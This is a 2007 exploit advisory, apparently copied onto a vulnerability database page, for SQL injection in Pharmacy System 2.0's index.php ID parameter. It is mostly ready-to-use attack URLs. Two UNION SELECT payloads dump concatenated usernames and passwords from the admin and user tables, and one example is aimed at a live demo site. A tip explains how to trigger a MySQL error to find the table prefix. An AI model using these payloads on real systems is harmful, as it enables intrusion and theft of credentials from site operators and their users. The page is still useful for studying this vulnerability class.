Pharmacy System 2.0 (index.php ID) Remote SQL Injection Vulnerability

🗓️ 25 Jun 2007 00:00:00Reported by RootType

Pharmacy System 2.0 Remote SQL Injection Vulnerabilit


                                                --==+================================================================================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pharmacy&nbsp;System&nbsp;v2&nbsp;AND&nbsp;PRIOR&nbsp;SQL&nbsp;INJECTION&nbsp;VULNERBILITYS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--



AUTHOR:&nbsp;t0pP8uZz&nbsp;&amp;&nbsp;xprog


SCRIPT&nbsp;DOWNLOAD:&nbsp;PAY&nbsp;SCRIPT


SITE:&nbsp;http://www.netartmedia.net/pharmacysystem/


DORK:&nbsp;N/A


EXPLOITS:

EXPLOIT&nbsp;1:&nbsp;http://www.server.com/SCRIPT_PATH/index.php?mod=cart&amp;quantity=1&amp;action=add&amp;ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users
EXPLOIT&nbsp;2:&nbsp;http://www.server.com/SCRIPT_PATH/index.php?mod=cart&amp;quantity=1&amp;action=add&amp;ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_users

EXAMPLES:

EXAMPLE&nbsp;ON&nbsp;DEMO:&nbsp;http://www.wscreator.com/pharma1/index.php?mod=cart&amp;quantity=1&amp;action=add&amp;ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users

NOTE/TIP:&nbsp;Most&nbsp;sites&nbsp;will&nbsp;have&nbsp;diffrent&nbsp;table&nbsp;prefix,&nbsp;so&nbsp;table&nbsp;pharma1_admin_users&nbsp;probarly&nbsp;wont&nbsp;exist,&nbsp;to&nbsp;get&nbsp;the&nbsp;prefix
follow&nbsp;these&nbsp;steps,&nbsp;goto&nbsp;&quot;http://server.com/index.php?page='&quot;&nbsp;this&nbsp;should&nbsp;cause&nbsp;a&nbsp;mysql&nbsp;error&nbsp;and&nbsp;you&nbsp;will&nbsp;be&nbsp;able&nbsp;to
see&nbsp;the&nbsp;mysql&nbsp;query&nbsp;being&nbsp;used&nbsp;for&nbsp;the&nbsp;page&nbsp;variable.&nbsp;Simple&nbsp;replace&nbsp;the&nbsp;prefix&nbsp;from&nbsp;the&nbsp;error&nbsp;with&nbsp;then&nbsp;one&nbsp;in&nbsp;the&nbsp;injection
if&nbsp;you&nbsp;cant&nbsp;do&nbsp;that&nbsp;then&nbsp;dont&nbsp;use&nbsp;the&nbsp;exploit.

GREETZ:&nbsp;str0ke,&nbsp;GM,&nbsp;andy777,&nbsp;Untamed,&nbsp;Don,&nbsp;o0xxdark0o,&nbsp;&amp;&nbsp;everyone&nbsp;at&nbsp;H4CKY0u.org,&nbsp;BHUNITED&nbsp;AND&nbsp;G0t-Root.net


--==+================================================================================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pharmacy&nbsp;System&nbsp;v2&nbsp;AND&nbsp;PRIOR&nbsp;SQL&nbsp;INJECTION&nbsp;VULNERBILITYS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--&nbsp;

25 Jun 2007 00:00Current

7.1High risk

Vulners AI Score7.1